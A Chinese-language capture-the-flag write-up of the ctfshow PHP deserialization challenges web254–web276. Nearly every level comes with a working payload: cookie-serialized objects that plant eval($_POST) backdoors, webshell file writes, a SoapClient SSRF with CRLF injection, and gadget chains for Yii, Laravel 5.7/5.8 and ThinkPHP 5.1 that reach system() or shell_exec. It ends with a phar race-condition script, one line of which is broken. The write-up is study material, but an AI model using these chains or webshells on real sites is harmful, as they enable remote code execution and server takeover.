反序列化中常见的魔术方法
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
web254
直接构造
?username=xxxxxx&password=xxxxxx
web255
这关开始使用cookie进行反序列化
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$aa = serialize(new ctfShowUser());
echo urlencode($aa);
将题目类中的$isVip=false改为true即可,注意这里要进行url编码
运行后得到
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
添加到cookie,然后GET传参
?username=xxxxxx&password=xxxxxx
得到flag
web256
与上一题的区别在于
![](https://img-blog.csdnimg.cn/img_convert/d3cdaa9765eab6a98d462ba8d21a2bec.png)
<?php
error_reporting(0);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxx';
public $isVip=true;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$aa=serialize(new ctfShowUser());
echo urlencode($aa);
运行后得到
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A5%3A%22xxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
添加cookie并GET传参
?username=xxxxxx&password=xxxxx
web257
![](https://img-blog.csdnimg.cn/img_convert/dbae69df8f82c10d0434b1a874400450.png)
这里反序列化后执行login函数,我们找到login函数在class ctfShowUser 中
所以我们需要定义一个 ctfShowUser 的对象
发现ctfShowUser对象生成时会创建一个info的对象,结束时会调用info的getInfo
同时发现backDoor类中也有getInfo,所以这里的backDoor就是关键
构造:
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code='eval($_POST[a]);';
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
$aa=serialize(new ctfShowUser());
print_r(urlencode($aa));
运行后得到
O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A16%3A%22eval%28%24_POST%5Ba%5D%29%3B%22%3B%7D%7D
添加到cookie即可
![](https://img-blog.csdnimg.cn/img_convert/f472e1c1b975f495535a28728c0340ea.png)
然后GET传参
?username=1&password=2
a=system('ls');
a=system('tac flag.php');
得到flag
web258
![](https://img-blog.csdnimg.cn/img_convert/8aafb19a5820322a13c037d7de518dfc.png)
相当与过滤 o:数字
将其中的o:数字改为o:+数字即可(可以通过 + 绕过)
<?php
error_reporting(0);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code='eval($_POST[a]);';
public function getInfo(){
eval($this->code);
}
}
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
$aa=serialize(new ctfShowUser());
echo $aa;
$bb = str_replace(':11',':+11',$aa);//ctfShowUser
$cc = str_replace(':8',':+8',$bb);//backDoor
print_r(urlencode($cc));
运行后得到
{s:4:"code";s:16:"eval($_POST[a]);";}}O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A%2B8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A%2B8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A16%3A%22eval%28%24_POST%5Ba%5D%29%3B%22%3B%7D%7D
之后的操作与上一题一致。
web259
一般反序列化的题目,那个php页面没用任何已有的类,那大概率就是考察PHP原生类的反序列化。
这个题利用的是php原生类SoapClient
该类的构造函数如下:
public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
![](https://img-blog.csdnimg.cn/img_convert/82d48f82f51975180acdedb338e6b417.png)
flag.php源码
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
当然这是个不完整的源码,应该还有一条判断真实ip的也就是
if($_SERVER['REMOTE_ADDR']==='127.0.0.1'){
xxxxxx;
}
所以首先得利用ssrf访问flag.php接着构造post数据 toke=ctfshow和请求头X-Forwarded-For 就能把flag写到flag.txt中了。
那么ssrf漏洞在哪呢,这就得用到我们前面提到的SoapClient类了。这个类中有个__call魔术方法(当调用不存在的方法时触发),会调用SoapClient类的构造方法。
另外用到的一个文章识点就是CRLF,具体的可以先看下大佬写的文章
payload:
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>
直接get传vip=xxx就可以了,最后访问/flag.txt应该就能拿到flag了。
web260
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
这里将GET传参的结果进行序列化
对字符串进行序列化后是它本身
![](https://img-blog.csdnimg.cn/img_convert/a0f707d337b90842f29e62afbbde7b81.png)
得到flag
web261
![](https://img-blog.csdnimg.cn/img_convert/bca3d3520668d7a7cb382fb7555f743f.png)
魔术方法:__invoke() 当尝试将对象调用为函数时触发
但是这里没有相关的函数,所以这个相当于没用
![](https://img-blog.csdnimg.cn/img_convert/c44499392ebbfcd50913d6e17003f026.png)
魔术方法:__wakeup() 执行unserialize()时,先会调用这个函数
在PHP7.4以上版本,如果出现反序列化的魔术方法,就会绕过__wakeup
![](https://img-blog.csdnimg.cn/img_convert/a5075afa542246d5b9782079c070f77c.png)
这里判断code是否等于0x36d,对应877
而且这里是弱类型比较
file_put_contents()函数:函数把一个字符串写入文件中,这里就是把password写入username中
所以需要这里的username为一个文件
<?php
class ctfshowvip{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u='877.php';
$this->password=$p='<?php @eval($_POST[1]);?>';
}
}
echo urlencode(serialize(new ctfshowvip('877.php','<?php @eval($_POST[1]);?>')));
运行后得到
O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D
![](https://img-blog.csdnimg.cn/img_convert/56251d66f2677a313294773673a5d49f.png)
![](https://img-blog.csdnimg.cn/img_convert/f8e2e49b530c40245fc89e7b1317c7d9.png)
![](https://img-blog.csdnimg.cn/img_convert/8aa27ce4a405376870fc687f894c9ff1.png)
得到flag(cat后面要有空格)
web262
![](https://img-blog.csdnimg.cn/img_convert/7c754fb037e81a0f88776dbc57522a2c.png)
页面没有关于flag的信息,只有一个setcookie
发现
![](https://img-blog.csdnimg.cn/img_convert/64895940be8bcbfd7b7d55921932a011.png)
进行访问
![](https://img-blog.csdnimg.cn/img_convert/2fdee19f2842b0702b632902e56dcb14.png)
这里我们需要污染token,让他变为admin,才能得到flag
其中str_replace将fuck替换成loveU,这里就可以使用逃逸
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$msg = new message('fuck','b','c');
echo serialize($msg);
//O:7:"message":4:{s:4:"from";s:4:"fuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
$msg_str = str_replace('fuck', 'loveU', serialize($msg));
echo $msg_str;
//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
$msg2 = new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
$msg3 = serialize($msg2);
$msg3_str = str_replace('fuck', 'loveU', $msg3);
echo $msg3_str;
echo "<br>";
//{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
echo base64_encode($msg3_str);
将最后输入的加入到cookie的msg中,刷新网页即可
还有一种非预期解:
<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';
function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
echo base64_encode(serialize(new message('a','b','c')));
写入cookie即可
web263
这关不一样了,直接是一个登录
访问www.zip获取源码
发现check.php中包含了inc.php
![](https://img-blog.csdnimg.cn/img_convert/213ab01f80060e73180fe929db8b36ff.png)
在inc.php中发现
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
发现在魔术方法__destruct中会把password写入log-username文件中,而这里的username和password可控,在index.php中会检查是否设置了session,并且
![](https://img-blog.csdnimg.cn/img_convert/95a665b76a3c80de8ac43e075b13f6de.png)
<?php
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
}
$a = new User('1.php','<?php eval($_POST[1]);phpinfo();?>');
echo base64_encode('|'.serialize($a));
运行后得到
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PiI7czo2OiJzdGF0dXMiO047fQ==
写入登录界面的cookie中
![](https://img-blog.csdnimg.cn/img_convert/14ad7c707a5f0183331832929b014b78.png)
再次访问该页面,然后访问check.php
![](https://img-blog.csdnimg.cn/img_convert/148c8001d9cf8842dc54546063e4e539.png)
然后访问log-1.php
![](https://img-blog.csdnimg.cn/img_convert/57823769cc8a3335a63d8eaf834f39a0.png)
post传参:
1=system('ls');
1=system('tac flag.php');
得到flag
web264
这关同样发现有message.php
当session中的msg经过base64解码和反序列化后,如果其中的token为admin,输出flag
在第一页发现GET传入的fmt会创建一个对象,将其中的fuck字段替换为loveU,这里替换后的字符串的长度变大,所以存在字符串逃逸漏洞
![](https://img-blog.csdnimg.cn/img_convert/674edd33804422703dc55ccc835d291c.png)
<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$msg = new message('a','b','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
echo serialize($msg);
echo "<br>";
$msg_1 = str_replace('fuck', 'loveU', serialize($msg));
echo $msg_1;
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:4:"fuck";s:5:"token";s:5:"admin";}
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:4:"loveU";s:5:"token";s:5:"admin";}
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}
传参:
?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
访问massage.php即可(记得设置cookie,任意设置)
web265
当token和password相等时,输出flag
这里的token被随机了,为了使password和他相等,只需要把$password=&$token即可(引用)
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = &$this->token;
}
public function login(){
return $this->token===$this->password;
}
}
$admin = new ctfshowAdmin('123','123');
echo serialize($admin);
GET传参即可
web266
file_get_contents('php://input')
可以访问请求的原始数据流,可以获取到GET和POST的数据
发现执行魔术方法__destruct时会输出flag
<?php
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
}
echo serialize(new ctfshow('a','b'));
//O:7:"ctfshow":2:{s:8:"username";s:1:"a";s:8:"password";s:1:"b";}
//O:7:"ctfshow":2:{ctfshow}
抓包,写入即可
![](https://img-blog.csdnimg.cn/img_convert/eddb0686584ea0bb191ae26a3b4a26c6.png)
web267
![](https://img-blog.csdnimg.cn/img_convert/f94b3a3d0ba1d54e74099224d46835bb.png)
查看源码发现是yii框架
使用admin/admin登录
在About页面的源码中发现
![](https://img-blog.csdnimg.cn/img_convert/e3e452a647c76f93d2ff943f86c8c6ad.png)
about界面源码中多了一个注释<!--?view-source -->
get传数据/index.php?r=site%2Fabout&view-source
![](https://img-blog.csdnimg.cn/img_convert/ef19cd640e6fa14bcdac26a1cf87cefc.png)
yii利用链
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
![](https://img-blog.csdnimg.cn/img_convert/65a80a738293a416f291bb6bb156d8d6.png)
![](https://img-blog.csdnimg.cn/img_convert/83392936df2c053cd100a43767f41840.png)
利用dnslog,命令执行(http://dnslog.cn/)
Get SubDomain
![](https://img-blog.csdnimg.cn/img_convert/e48206621d6417e33225e1f0d479a1b8.png)
![](https://img-blog.csdnimg.cn/img_convert/713aed1f22619b9bd73824b6c6e45309.png)
再次给code传参
![](https://img-blog.csdnimg.cn/img_convert/7239a0894c58a2b70e328eee4ad17132.png)
对 L3Zhci93d3cvaHRtbC9iYXNpYy93ZWIK base64解码得到
/var/www/html/basic/web
之后
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = "echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/1.php";
}
}
给code传参
![](https://img-blog.csdnimg.cn/img_convert/7ab6aa7b899ad3adfc8484962de763dd.png)
然后访问1.php
![](https://img-blog.csdnimg.cn/img_convert/e0d0e9a671faea02dfb09880a61c69e6.png)
POST传参
1=system('ls /');
1=system('tac /flag');
得到flag
web268
这题和上一题很相似
这题应该是把上一题的链子过滤了,这里还有一个链子
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', 'echo "<?php eval(\$_POST[1]);phpinfo();?>" >/var/www/html/basic/web/1.php');
echo(base64_encode(serialize($exp)));
}
?>
方法和上题一样
1=system('ls /');
1=system('tac /flags');
web269
继续使用上一题的链子
web270
还是268的链子
web271
![](https://img-blog.csdnimg.cn/img_convert/9ada8ce8c8b6fd5cc61efc62ac69d382.png)
这道题是Laravel5.7框架
参考博客:laravel5.7 反序列化漏洞复现_bfengj的博客-CSDN博客_laravel反序列化漏洞
<?php
namespace Illuminate\Foundation\Testing{
use Illuminate\Auth\GenericUser;
use Illuminate\Foundation\Application;
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct(){
$this->command="system";
$this->parameters[]="cat /flag";
$this->test=new GenericUser();
$this->app=new Application();
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $bindings = [];
public function __construct(){
$this->bindings=array(
'Illuminate\Contracts\Console\Kernel'=>array(
'concrete'=>'Illuminate\Foundation\Application'
)
);
}
}
}
namespace Illuminate\Auth{
class GenericUser
{
protected $attributes;
public function __construct(){
$this->attributes['expectedOutput']=['hello','world'];
$this->attributes['expectedQuestions']=['hello','world'];
}
}
}
namespace{
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
POST传参即可得到flag
(如果失败的话使用bp发送到repeater后send,就可以看到flag)
web272
这道题是Laravel5.8框架
参考博客:laravel5.8 反序列化漏洞复现_bfengj的博客-CSDN博客_laravel漏洞利用
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection="cat /flag";
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver="system";
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
![](https://img-blog.csdnimg.cn/img_convert/396c24cc7e0925188c4f528899dd06e4.png)
web273
同上
web274
TP5.1的框架
先要找到一个反序列化的入口
查看源码,发现
![](https://img-blog.csdnimg.cn/img_convert/5ff3a8b21bd1efaca832b238fa908159.png)
链子:
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
运行得到
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19
然后在后面加
&lin=ls /
GET传参
![](https://img-blog.csdnimg.cn/img_convert/8118c1a7686087904e247798deec8aed.png)
之后
&lin=tac /flag
得到flag
web275
filename可控,只要$this->evilfile=true;可以执行系统命令了
?fn=php;ls .
?fn=php;tac flag.php
web276
比上一题多了一个admin
这一题的考点就是phar
先生成一个phar包
<?php
class filter{
public $filename;
public $filecontent;
public $evilfile=true;
public $admin = true;
public function __construct($f='',$fn=''){
$this->filename='1;tac fla?.ph?';
$this->filecontent='';
}
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new filter();
$phar = setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
import requests
import time
import threading
success = False
#读取phar包内容
def getPhar(phar):
with open(phar,'rb') as p:
return p.read()
#写入phar内容
def writePhar(url,data):
print('writing...')
requests.post(url,data)
#触发unlick的phar反序列化
def unlinkPhar(data,url):
global success
print('unlinking...')
res = requests.post(url,data)
if 'ctfshow' in res.text and success is False:
print(res.text)
success = True
def main():
global success
url = ''
phar = getPhar('phar.phar')
while success is False:
time.sleep(1)
w = threading.Thread(target=writePhar,args=(url+'?fn=p.phar',phar))
u = threading.Thread(target=unlinkPhar,args=(url+'?fn=phar://p.phar/test',''))
w.start()
u.start()
if __name__ == '__main__':
main()